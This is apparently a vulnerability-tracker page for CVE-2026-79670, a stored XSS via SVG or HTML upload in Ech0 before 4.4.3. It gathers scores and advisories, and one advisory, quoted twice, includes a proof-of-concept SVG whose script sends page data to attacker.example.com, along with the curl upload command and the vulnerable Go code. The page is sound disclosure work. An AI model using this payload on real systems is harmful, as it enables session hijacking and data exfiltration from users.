CVE-2026-79670
Ech0 before 4.4.3 Stored XSS via SVG Upload
Ech0 before 4.4.3 contains a stored cross-site scripting vulnerability in the file upload endpoint that validates Content-Type using only client-supplied headers without server-side inspection. Attackers with admin privileges can upload SVG or HTML files containing JavaScript that executes in the application origin when accessed by any user, enabling session hijacking and data exfiltration.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- High
- User interaction
- Passive
What an attacker can affect
- Confidentiality
- Low
- Integrity
- Low
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
4.8
Ech0 before 4.4.3 Stored XSS via SVG Upload
Ech0 before 4.4.3 contains a stored cross-site scripting vulnerability in the file upload endpoint that validates Content-Type using only client-supplied headers without server-side inspection. Attackers with admin privileges can upload SVG or HTML files containing JavaScript that executes in the application origin when accessed by any user, enabling session hijacking and data exfiltration.
- Record
CVE-2026-79670- CVSS 4.0
- 4.8 Medium
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N - CVSS 3.1
- 4.8 Medium
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N - Weakness
- CWE-434
- Updated
- 2026-11-02
EUVDEUVD-2026-65444
4.8
Ech0 before 4.4.3 contains a stored cross-site scripting vulnerability in the file upload endpoint that validates Content-Type using only client-supplied headers without server-side inspection. Attackers with admin privileges can upload SVG or HTML files containing JavaScript that executes in the application origin when accessed by any user, enabling session hijacking and data exfiltration.
- Record
EUVD-2026-65444- CVSS 4.0
- 4.8 Medium
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-69hx-63pv-f8f4
4.8
Ech0 has Stored XSS via SVG Upload and Content-Type Validation Bypass in File Upload
Summary
The file upload endpoint validates Content-Type using only the client-supplied multipart header, with no server-side content inspection or file extension validation. Combined with an unauthenticated static file server that determines Content-Type from file extension, this allows an admin to upload HTML/SVG files containing JavaScript that execute in the application's origin when visited by any user. Additionally, image/svg+xml is in the default allowed types, enabling stored XSS via SVG without any Content-Type spoofing.
Details
The upload handler at internal/service/file/file.go:85-87 validates file type using only the multipart Content-Type header:
contentType := file.Header.Get("Content-Type") // client-controlled
if !isAllowedType(contentType, config.Config().Upload.AllowedTypes) {
return commonModel.FileDto{}, errors.New(commonModel.FILE_TYPE_NOT_ALLOWED)
}
isAllowedType at file.go:836-843 performs exact string matching — no magic byte detection, no extension validation:
func isAllowedType(contentType string, allowedTypes []string) bool {
for _, allowed := range allowedTypes {
if contentType == allowed {
return true
}
}
return false
}
The original file extension is preserved in the storage key by RandomKeyGenerator at internal/storage/keygen.go:41:
ext := strings.ToLower(filepath.Ext(strings.TrimSpace(originalFilename)))
All locally stored files are served publicly without authentication at internal/router/modules.go:51:
ctx.Engine.Static("api/files", root)
This gin.Static call is registered directly on the engine, outside any authentication middleware group. Go's http.ServeFile (used internally by gin.Static) determines the response Content-Type using mime.TypeByExtension, so .html files are served as text/html and .svg files as image/svg+xml.
No X-Content-Type-Options: nosniff or Content-Security-Policy headers are set (verified in internal/router/middleware.go).
Variant 1 — SVG XSS (no spoofing needed): image/svg+xml is in the default AllowedTypes at internal/config/config.go:241. SVG files can contain <script> tags and event handlers. The VireFS schema routes .svg to images/ (internal/storage/schema.go:10). Uploaded SVGs are publicly accessible at /api/files/images/<key>.svg and JavaScript within them executes in the application's origin.
Variant 2 — Content-Type spoofing: Upload an .html file with a forged multipart Content-Type: image/jpeg. The allowlist check passes (image/jpeg is allowed). The .html extension is preserved. The VireFS schema routes unknown extensions to files/ (schema.go:14). The file is served at /api/files/files/<key>.html as text/html.
PoC
Variant 1 — SVG XSS (simplest, default config):
# 1. Create SVG with embedded JavaScript
cat > evil.svg << 'SVGEOF'
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100">
<script>
// Steal cookies and redirect to attacker
fetch('/api/echo/page')
.then(r => r.json())
.then(d => {
new Image().src = 'https://attacker.example.com/collect?data=' + btoa(JSON.stringify(d));
});
</script>
<circle cx="50" cy="50" r="40" fill="red"/>
</svg>
SVGEOF
# 2. Upload as admin (image/svg+xml is default-allowed, no spoofing needed)
curl -X POST http://target:1024/api/files/upload \
-H 'Authorization: Bearer <admin-jwt>' \
-F '[email protected];type=image/svg+xml' \
-F 'category=image' \
-F 'storage_type=local'
# Response includes the storage key, e.g.: images/<uid>_<ts>_<rand>.svg
# 3. Access without authentication — JavaScript executes in application origin:
# GET http://target:1024/api/files/images/<uid>_<ts>_<rand>.svg
Variant 2 — Content-Type bypass with HTML:
# 1. Create HTML with JavaScript
cat > evil.html << 'HTMLEOF'
<html><body>
<script>
document.write('<h1>XSS in ' +…
- Record
GHSA-69hx-63pv-f8f4- CVSS 3.1
- 4.8 Medium
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N - Weakness
- CWE-434
- Updated
- 2026-11-02
GitHub AdvisoriesGHSA-mj42-9vh2-f8v3
4.8
Ech0 before 4.4.3 contains a stored cross-site scripting vulnerability in the file upload...
Ech0 before 4.4.3 contains a stored cross-site scripting vulnerability in the file upload endpoint that validates Content-Type using only client-supplied headers without server-side inspection. Attackers with admin privileges can upload SVG or HTML files containing JavaScript that executes in the application origin when accessed by any user, enabling session hijacking and data exfiltration.
- Record
GHSA-mj42-9vh2-f8v3- CVSS 4.0
- 4.8 Medium
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 4.8 Medium
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N - Weakness
- CWE-434
- Updated
- 2026-11-02
NVD
4.8
Ech0 before 4.4.3 contains a stored cross-site scripting vulnerability in the file upload endpoint that validates Content-Type using only client-supplied headers without server-side inspection. Attackers with admin privileges can upload SVG or HTML files containing JavaScript that executes in the application origin when accessed by any user, enabling session hijacking and data exfiltration.
- Record
CVE-2026-79670- CVSS 4.0
- 4.8 Medium
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 4.8 Medium
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N - Weakness
- CWE-434
- Updated
- 2026-11-02
OSV
4.8
Ech0 before 4.4.3 Stored XSS via SVG Upload
Ech0 before 4.4.3 contains a stored cross-site scripting vulnerability in the file upload endpoint that validates Content-Type using only client-supplied headers without server-side inspection. Attackers with admin privileges can upload SVG or HTML files containing JavaScript that executes in the application origin when accessed by any user, enabling session hijacking and data exfiltration.
- Record
CVE-2026-79670- CVSS 4.0
- 4.8 Medium
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N - Weakness
- CWE-434
- Updated
- 2026-11-02
OSVGHSA-69hx-63pv-f8f4
4.8
Ech0 has Stored XSS via SVG Upload and Content-Type Validation Bypass in File Upload
Summary
The file upload endpoint validates Content-Type using only the client-supplied multipart header, with no server-side content inspection or file extension validation. Combined with an unauthenticated static file server that determines Content-Type from file extension, this allows an admin to upload HTML/SVG files containing JavaScript that execute in the application's origin when visited by any user. Additionally, image/svg+xml is in the default allowed types, enabling stored XSS via SVG without any Content-Type spoofing.
Details
The upload handler at internal/service/file/file.go:85-87 validates file type using only the multipart Content-Type header:
contentType := file.Header.Get("Content-Type") // client-controlled
if !isAllowedType(contentType, config.Config().Upload.AllowedTypes) {
return commonModel.FileDto{}, errors.New(commonModel.FILE_TYPE_NOT_ALLOWED)
}
isAllowedType at file.go:836-843 performs exact string matching — no magic byte detection, no extension validation:
func isAllowedType(contentType string, allowedTypes []string) bool {
for _, allowed := range allowedTypes {
if contentType == allowed {
return true
}
}
return false
}
The original file extension is preserved in the storage key by RandomKeyGenerator at internal/storage/keygen.go:41:
ext := strings.ToLower(filepath.Ext(strings.TrimSpace(originalFilename)))
All locally stored files are served publicly without authentication at internal/router/modules.go:51:
ctx.Engine.Static("api/files", root)
This gin.Static call is registered directly on the engine, outside any authentication middleware group. Go's http.ServeFile (used internally by gin.Static) determines the response Content-Type using mime.TypeByExtension, so .html files are served as text/html and .svg files as image/svg+xml.
No X-Content-Type-Options: nosniff or Content-Security-Policy headers are set (verified in internal/router/middleware.go).
Variant 1 — SVG XSS (no spoofing needed): image/svg+xml is in the default AllowedTypes at internal/config/config.go:241. SVG files can contain <script> tags and event handlers. The VireFS schema routes .svg to images/ (internal/storage/schema.go:10). Uploaded SVGs are publicly accessible at /api/files/images/<key>.svg and JavaScript within them executes in the application's origin.
Variant 2 — Content-Type spoofing: Upload an .html file with a forged multipart Content-Type: image/jpeg. The allowlist check passes (image/jpeg is allowed). The .html extension is preserved. The VireFS schema routes unknown extensions to files/ (schema.go:14). The file is served at /api/files/files/<key>.html as text/html.
PoC
Variant 1 — SVG XSS (simplest, default config):
# 1. Create SVG with embedded JavaScript
cat > evil.svg << 'SVGEOF'
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100">
<script>
// Steal cookies and redirect to attacker
fetch('/api/echo/page')
.then(r => r.json())
.then(d => {
new Image().src = 'https://attacker.example.com/collect?data=' + btoa(JSON.stringify(d));
});
</script>
<circle cx="50" cy="50" r="40" fill="red"/>
</svg>
SVGEOF
# 2. Upload as admin (image/svg+xml is default-allowed, no spoofing needed)
curl -X POST http://target:1024/api/files/upload \
-H 'Authorization: Bearer <admin-jwt>' \
-F '[email protected];type=image/svg+xml' \
-F 'category=image' \
-F 'storage_type=local'
# Response includes the storage key, e.g.: images/<uid>_<ts>_<rand>.svg
# 3. Access without authentication — JavaScript executes in application origin:
# GET http://target:1024/api/files/images/<uid>_<ts>_<rand>.svg
Variant 2 — Content-Type bypass with HTML:
# 1. Create HTML with JavaScript
cat > evil.html << 'HTMLEOF'
<html><body>
<script>
document.write('<h1>XSS in ' +…
- Record
GHSA-69hx-63pv-f8f4- CVSS 3.1
- 4.8 Medium
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N - Weakness
- CWE-434
- Updated
- 2026-11-02
OSVGO-2026-5172 No score
Ech0 has Stored XSS via SVG Upload and Content-Type Validation Bypass in File Upload in github.com/lin-snow/ech0
Ech0 has Stored XSS via SVG Upload and Content-Type Validation Bypass in File Upload in github.com/lin-snow/ech0.
NOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions.
(If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.)
The additional affected modules and versions are: github.com/lin-snow/ech0 before v4.4.3.
- Record
GO-2026-5172- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
github.com/lin-snow/ech0Go |
before 4.4.3 | 4.4.3 |
github.com/lin-snow/ech0Go |
All versions | None known |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-79670 is a medium vulnerability (CVSS 4.8) in Lin-snow Ech0, published April 10, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.25%, the 16th percentile. Fixed in github.com/lin-snow/ech0 4.4.3.
References
github.com/lin-snow/Ech0/security/advisories/GHSA-69hx-63pv-f8f4
vulncheck.com/advisories/ech0-before-stored-xss-via-svg-upload
github.com/lin-snow/Ech0/releases/tag/v4.4.3
github.com/advisories/GHSA-69hx-63pv-f8f4
nvd.nist.gov/vuln/detail/CVE-2026-79670
github.com/advisories/GHSA-mj42-9vh2-f8v3
github.com/CVEProject/cvelistV5/tree/main/cves/2026/79xxx/CVE-2026-79670.json
github.com/lin-snow/Ech0
Left out here: the rest of 2 source descriptions. The JSON record has them.